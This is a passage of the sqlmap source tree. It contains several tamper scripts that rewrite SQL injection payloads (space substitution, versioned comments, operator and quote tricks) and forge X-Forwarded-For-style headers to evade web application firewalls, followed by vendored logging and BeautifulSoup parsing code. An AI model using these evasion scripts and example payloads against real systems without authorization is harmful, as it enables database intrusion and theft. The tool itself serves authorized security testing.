False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal ================================================ FILE: tamper/space2mysqldash.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') Requirement: * MySQL * MSSQL Notes: * Useful to bypass several web application firewalls. >>> tamper('1 AND 9227=9227') '1--%0AAND--%0A9227=9227' """ retVal = "" if payload: for i in xrange(len(payload)): if payload[i].isspace(): retVal += "--%0A" elif payload[i] == '#' or payload[i:i + 3] == '-- ': retVal += payload[i:] break else: retVal += payload[i] return retVal ================================================ FILE: tamper/space2plus.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with plus ('+') Notes: * Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases >>> tamper('SELECT id FROM users') 'SELECT+id+FROM+users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "+" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "+" continue retVal += payload[i] return retVal ================================================ FILE: tamper/space2randomblank.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls >>> random.seed(0) >>> tamper('SELECT id FROM users') 'SELECT%0Did%0CFROM%0Ausers' """ # ASCII table: # TAB 09 horizontal TAB # LF 0A new line # FF 0C new page # CR 0D carriage return blanks = ("%09", "%0A", "%0C", "%0D") retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += random.choice(blanks) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == ' ' and not doublequote and not quote: retVal += random.choice(blanks) continue retVal += payload[i] return retVal ================================================ FILE: tamper/substring2leftright.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces PostgreSQL SUBSTRING with LEFT and RIGHT Tested against: * PostgreSQL 9.6.12 Note: * Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT) >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)') 'LEFT((SELECT usename FROM pg_user)::text,1)' >>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)') 'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)' """ retVal = payload if payload: match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) if match: pos = int(match.group(2)) if pos == 1: _ = "LEFT(%s,1)" % (match.group(1)) else: _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos) retVal = retVal.replace(match.group(0), _) return retVal ================================================ FILE: tamper/symboliclogical.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) >>> tamper("1 AND '1'='1") "1 %26%26 '1'='1" """ retVal = payload if payload: retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) return retVal ================================================ FILE: tamper/unionalltounion.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances of UNION ALL SELECT with UNION SELECT counterpart >>> tamper('-1 UNION ALL SELECT') '-1 UNION SELECT' """ return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload ================================================ FILE: tamper/unmagicquotes.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string >>> tamper("1' AND 1=1") '1%bf%27-- -' """ retVal = payload if payload: found = False retVal = "" for i in xrange(len(payload)): if payload[i] == '\'' and not found: retVal += "%bf%27" found = True else: retVal += payload[i] continue if found: _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) if _ != retVal: retVal = _ retVal += "-- -" elif not any(_ in retVal for _ in ('#', '--', '/*')): retVal += "-- -" return retVal ================================================ FILE: tamper/uppercase.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with upper case value (e.g. select -> SELECT) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('insert') 'INSERT' """ retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.upper()) return retVal ================================================ FILE: tamper/varnish.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall Reference: * https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 Notes: Examples: >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A """ headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload ================================================ FILE: tamper/versionedkeywords.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Encloses each non-function keyword with (MySQL) versioned comment Requirement: * MySQL Tested against: * MySQL 4.0.18, 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' """ def process(match): word = match.group('word') if word.upper() in kb.keywords: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal ================================================ FILE: tamper/versionedmorekeywords.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Encloses each keyword with (MySQL) versioned comment Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL >>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' """ def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!%s*/" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal ================================================ FILE: tamper/xforwardedfor.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import random from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def randomIP(): octets = [] while not octets or octets[0] in (10, 172, 192): octets = random.sample(xrange(1, 255), 4) return '.'.join(str(_) for _ in octets) def tamper(payload, **kwargs): """ Append a fake HTTP header 'X-Forwarded-For' (and alike) """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() headers["X-Client-Ip"] = randomIP() headers["X-Real-Ip"] = randomIP() headers["CF-Connecting-IP"] = randomIP() headers["True-Client-IP"] = randomIP() # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection headers["Via"] = "1.1 Chrome-Compression-Proxy" # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0] return payload ================================================ FILE: thirdparty/__init__.py ================================================ ================================================ FILE: thirdparty/ansistrm/__init__.py ================================================ ================================================ FILE: thirdparty/ansistrm/ansistrm.py ================================================ # # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. # (Note: 2018 modifications by @stamparm) # import logging import re import sys from lib.core.settings import IS_WIN if IS_WIN: import ctypes import ctypes.wintypes # Reference: https://gist.github.com/vsajip/758430 # https://github.com/ipython/ipython/issues/4252 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms686047%28v=vs.85%29.aspx ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD] ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL def stdoutEncode(data): # Cross-referenced function return data class ColorizingStreamHandler(logging.StreamHandler): # color names to indices color_map = { 'black': 0, 'red': 1, 'green': 2, 'yellow': 3, 'blue': 4, 'magenta': 5, 'cyan': 6, 'white': 7, } # levels to (background, foreground, bold/intense) level_map = { logging.DEBUG: (None, 'blue', False), logging.INFO: (None, 'green', False), logging.WARNING: (None, 'yellow', False), logging.ERROR: (None, 'red', False), logging.CRITICAL: ('red', 'white', False) } csi = '\x1b[' reset = '\x1b[0m' bold = "\x1b[1m" disable_coloring = False @property def is_tty(self): isatty = getattr(self.stream, 'isatty', None) return isatty and isatty() and not self.disable_coloring def emit(self, record): try: message = stdoutEncode(self.format(record)) stream = self.stream if not self.is_tty: if message and message[0] == "\r": message = message[1:] stream.write(message) else: self.output_colorized(message) stream.write(getattr(self, 'terminator', '\n')) self.flush() except (KeyboardInterrupt, SystemExit): raise except IOError: pass except: self.handleError(record) if not IS_WIN: def output_colorized(self, message): self.stream.write(message) else: ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') nt_color_map = { 0: 0x00, # black 1: 0x04, # red 2: 0x02, # green 3: 0x06, # yellow 4: 0x01, # blue 5: 0x05, # magenta 6: 0x03, # cyan 7: 0x07, # white } def output_colorized(self, message): parts = self.ansi_esc.split(message) h = None fd = getattr(self.stream, 'fileno', None) if fd is not None: fd = fd() if fd in (1, 2): # stdout or stderr h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) while parts: text = parts.pop(0) if text: self.stream.write(text) self.stream.flush() if parts: params = parts.pop(0) if h is not None: params = [int(p) for p in params.split(';')] color = 0 for p in params: if 40 <= p <= 47: color |= self.nt_color_map[p - 40] << 4 elif 30 <= p <= 37: color |= self.nt_color_map[p - 30] elif p == 1: color |= 0x08 # foreground intensity on elif p == 0: # reset to default color color = 0x07 else: pass # error condition ignored ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) def _reset(self, message): if not message.endswith(self.reset): reset = self.reset elif self.bold in message: # bold reset = self.reset + self.bold else: reset = self.reset return reset def colorize(self, message, levelno): if levelno in self.level_map and self.is_tty: bg, fg, bold = self.level_map[levelno] params = [] if bg in self.color_map: params.append(str(self.color_map[bg] + 40)) if fg in self.color_map: params.append(str(self.color_map[fg] + 30)) if bold: params.append('1') if params and message: if message.lstrip() != message: prefix = re.search(r"\s+", message).group(0) message = message[len(prefix):] else: prefix = "" message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 'm', message, self.reset))) return message def format(self, record): message = logging.StreamHandler.format(self, record) return self.colorize(message, record.levelno) ================================================ FILE: thirdparty/beautifulsoup/__init__.py ================================================ #!/usr/bin/env python2 # # Copyright (c) 2004-2010, Leonard Richardson # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # # * Neither the name of the Beautiful Soup Consortium and All # Night Kosher Bakery nor the names of its contributors may be # used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. # pass ================================================ FILE: thirdparty/beautifulsoup/beautifulsoup.py ================================================ """Beautiful Soup Elixir and Tonic "The Screen-Scraper's Friend" http://www.crummy.com/software/BeautifulSoup/ Beautiful Soup parses a (possibly invalid) XML or HTML document into a tree representation. It provides methods and Pythonic idioms that make it easy to navigate, search, and modify the tree. A well-formed XML/HTML document yields a well-formed data structure. An ill-formed XML/HTML document yields a correspondingly ill-formed data structure. If your document is only locally well-formed, you can use this library to find and process the well-formed part of it. Beautiful Soup works with Python 2.2 and up. It has no external dependencies, but you'll have more success at converting data to UTF-8 if you also install these three packages: * chardet, for auto-detecting character encodings http://chardet.feedparser.org/ * cjkcodecs and iconv_codec, which add more encodings to the ones supported by stock Python. http://cjkpython.i18n.org/ Beautiful Soup defines classes for two main parsing strategies: * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific language that kind of looks like XML. * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid or invalid. This class has web browser-like heuristics for obtaining a sensible parse tree in the face of common HTML errors. Beautiful Soup also defines a class (UnicodeDammit) for autodetecting the encoding of an HTML or XML document, and converting it to Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. For more than you ever wanted to know about Beautiful Soup, see the documentation: http://www.crummy.com/software/BeautifulSoup/documentation.html Here, have some legalese: Copyright (c) 2004-2010, Leonard Richardson All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. """ from __future__ import generators from __future__ import print_function __author__ = "Leonard Richardson (leonardr@segfault.org)" __version__ = "3.2.1b" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" import codecs import re import sys if sys.version_info >= (3, 0): xrange = range text_type = str binary_type = bytes basestring = str unichr = chr else: text_type = unicode binary_type = str try: from html.entities import name2codepoint except ImportError: from htmlentitydefs import name2codepoint try: set except NameError: from sets import Set as set try: import sgmllib except ImportError: from lib.utils import sgmllib try: import markupbase except ImportError: import _markupbase as markupbase #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match DEFAULT_OUTPUT_ENCODING = "utf-8" def _match_css_class(str): """Build a RE to match the given CSS class.""" return re.compile(r"(^|.*\s)%s($|\s)" % re.escape(str)) # First, the classes that represent markup elements. class PageElement(object): """Contains the navigational information for some part of the page (either a tag or a piece of text)""" def _invert(h): "Cheap function to invert a hash." i = {} for k,v in h.items(): i[v] = k return i XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", "quot" : '"', "amp" : "&", "lt" : "<", "gt" : ">" } XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" self.parent = parent self.previous = previous self.next = None self.previousSibling = None self.nextSibling = None if self.parent and self.parent.contents: self.previousSibling = self.parent.contents[-1] self.previousSibling.nextSibling = self def replaceWith(self, replaceWith): oldParent = self.parent myIndex = self.parent.index(self) if hasattr(replaceWith, "parent")\ and replaceWith.parent is self.parent: # We're replacing this element with one of its siblings. index = replaceWith.parent.index(replaceWith) if index and index < myIndex: # Furthermore, it comes before this element. That # means that when we extract it, the index of this # element will change. myIndex = myIndex - 1 self.extract() oldParent.insert(myIndex, replaceWith) def replaceWithChildren(self): myParent = self.parent myIndex = self.parent.index(self) self.extract() reversedChildren = list(self.contents) reversedChildren.reverse() for child in reversedChildren: myParent.insert(myIndex, child) def extract(self): """Destructively rips this element out of the tree.""" if self.parent: try: del self.parent.contents[self.parent.index(self)] except ValueError: pass #Find the two elements that would be next to each other if #this element (and any children) hadn't been parsed. Connect #the two. lastChild = self._lastRecursiveChild() nextElement = lastChild.next if self.previous: self.previous.next = nextElement if nextElement: nextElement.previous = self.previous self.previous = None lastChild.next = None self.parent = None if self.previousSibling: self.previousSibling.nextSibling = self.nextSibling if self.nextSibling: self.nextSibling.previousSibling = self.previousSibling self.previousSibling = self.nextSibling = None return self def _lastRecursiveChild(self): "Finds the last element beneath this object to be parsed." lastChild = self while hasattr(lastChild, 'contents') and lastChild.contents: lastChild = lastChild.contents[-1] return lastChild def insert(self, position, newChild): if isinstance(newChild, basestring) \ and not isinstance(newChild, NavigableString): newChild = NavigableString(newChild) position = min(position, len(self.contents)) if hasattr(newChild, 'parent') and newChild.parent is not None: # We're 'inserting' an element that's already one # of this object's children. if newChild.parent is self: index = self.index(newChild) if index > position: # Furthermore we're moving it further down the # list of this object's children. That means that # when we extract this element, our target index # will jump down one. position = position - 1 newChild.extract() newChild.parent = self previousChild = None if position == 0: newChild.previousSibling = None newChild.previous = self else: previousChild = self.contents[position-1] newChild.previousSibling = previousChild newChild.previousSibling.nextSibling = newChild newChild.previous = previousChild._lastRecursiveChild() if newChild.previous: newChild.previous.next = newChild newChildsLastElement = newChild._lastRecursiveChild() if position >= len(self.contents): newChild.nextSibling = None parent = self parentsNextSibling = None while not parentsNextSibling: parentsNextSibling = parent.nextSibling parent = parent.parent if not parent: # This is the last element in the document. break if parentsNextSibling: newChildsLastElement.next = parentsNextSibling else: newChildsLastElement.next = None else: nextChild = self.contents[position] newChild.nextSibling = nextChild if newChild.nextSibling: newChild.nextSibling.previousSibling = newChild newChildsLastElement.next = nextChild if newChildsLastElement.next: newChildsLastElement.next.previous = newChildsLastElement self.contents.insert(position, newChild) def append(self, tag): """Appends the given tag to the contents of this tag.""" self.insert(len(self.contents), tag) def findNext(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findAllNext, name, attrs, text, **kwargs) def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs) def findNextSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs) def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs) fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x def findPrevious(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs) def findAllPrevious(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs) fetchPrevious = findAllPrevious # Compatibility with pre-3.x def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs) def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs) fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x def findParent(self, name=None, attrs={}, **kwargs): """Returns the closest parent of this Tag that matches the given criteria.""" # NOTE: We can't use _findOne because findParents takes a different # set of arguments. r = None l = self.findParents(name, attrs, 1) if l: r = l[0] return r def findParents(self, name=None, attrs={}, limit=None, **kwargs): """Returns the parents of this Tag that match the given criteria.""" return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs) fetchParents = findParents # Compatibility with pre-3.x #These methods do the real heavy lifting. def _findOne(self, method, name, attrs, text, **kwargs): r = None l = method(name, attrs, text, 1, **kwargs) if l: r = l[0] return r def _findAll(self, name, attrs, text, limit, generator, **kwargs): "Iterates over a generator looking for things that match." if isinstance(name, SoupStrainer): strainer = name # (Possibly) special case some findAll*(...) searches elif text is None and not limit and not attrs and not kwargs: # findAll*(True) if name is True: return [element for element in generator() if isinstance(element, Tag)] # findAll*('tag-name') elif isinstance(name, basestring): return [element for element in generator() if isinstance(element, Tag) and element.name == name] else: strainer = SoupStrainer(name, attrs, text, **kwargs) # Build a SoupStrainer else: strainer = SoupStrainer(name, attrs, text, **kwargs) results = ResultSet(strainer) g = generator() while True: try: i = next(g) except StopIteration: break if i: found = strainer.search(i) if found: results.append(found) if limit and len(results) >= limit: break return results #These Generators can be used to navigate starting from both #NavigableStrings and Tags. def nextGenerator(self): i = self while i is not None: i = i.next yield i def nextSiblingGenerator(self): i = self while i is not None: i = i.nextSibling yield i def previousGenerator(self): i = self while i is not None: i = i.previous yield i def previousSiblingGenerator(self): i = self while i is not None: i = i.previousSibling yield i def parentGenerator(self): i = self while i is not None: i = i.parent yield i # Utility methods def substituteEncoding(self, str, encoding=None): encoding = encoding or "utf-8" return str.replace("%SOUP-ENCODING%", encoding) def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" if isinstance(s, text_type): if encoding: s = s.encode(encoding) elif isinstance(s, binary_type): s = s.encode(encoding or "utf8") else: s = self.toEncoding(str(s), encoding or "utf8") return s BARE_AMPERSAND_OR_BRACKET = re.compile(r"([<>]|&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;))") def _sub_entity(self, x): """Used with a regular expression to substitute the appropriate XML entity for an XML special character.""" return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" class NavigableString(text_type, PageElement): def __new__(cls, value): """Create a new NavigableString. When unpickling a NavigableString, this method is called with the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ if isinstance(value, text_type): return text_type.__new__(cls, value) return text_type.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) def __getattr__(self, attr): """text.string gives you text. This is for backwards compatibility for Navigable*String, but for CData* it lets you get the string without the CData wrapper.""" if attr == 'string': return self else: raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, attr)) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): # Substitute outgoing XML entities. data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) if encoding and sys.version_info < (3, 0): return data.encode(encoding) else: return data class CData(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<![CDATA[%s]]>" % NavigableString.__str__(self, encoding) class ProcessingInstruction(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): output = self if "%SOUP-ENCODING%" in output: output = self.substituteEncoding(output, encoding) return "<?%s?>" % self.toEncoding(output, encoding) class Comment(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<!--%s-->" % NavigableString.__str__(self, encoding) class Declaration(NavigableString): def 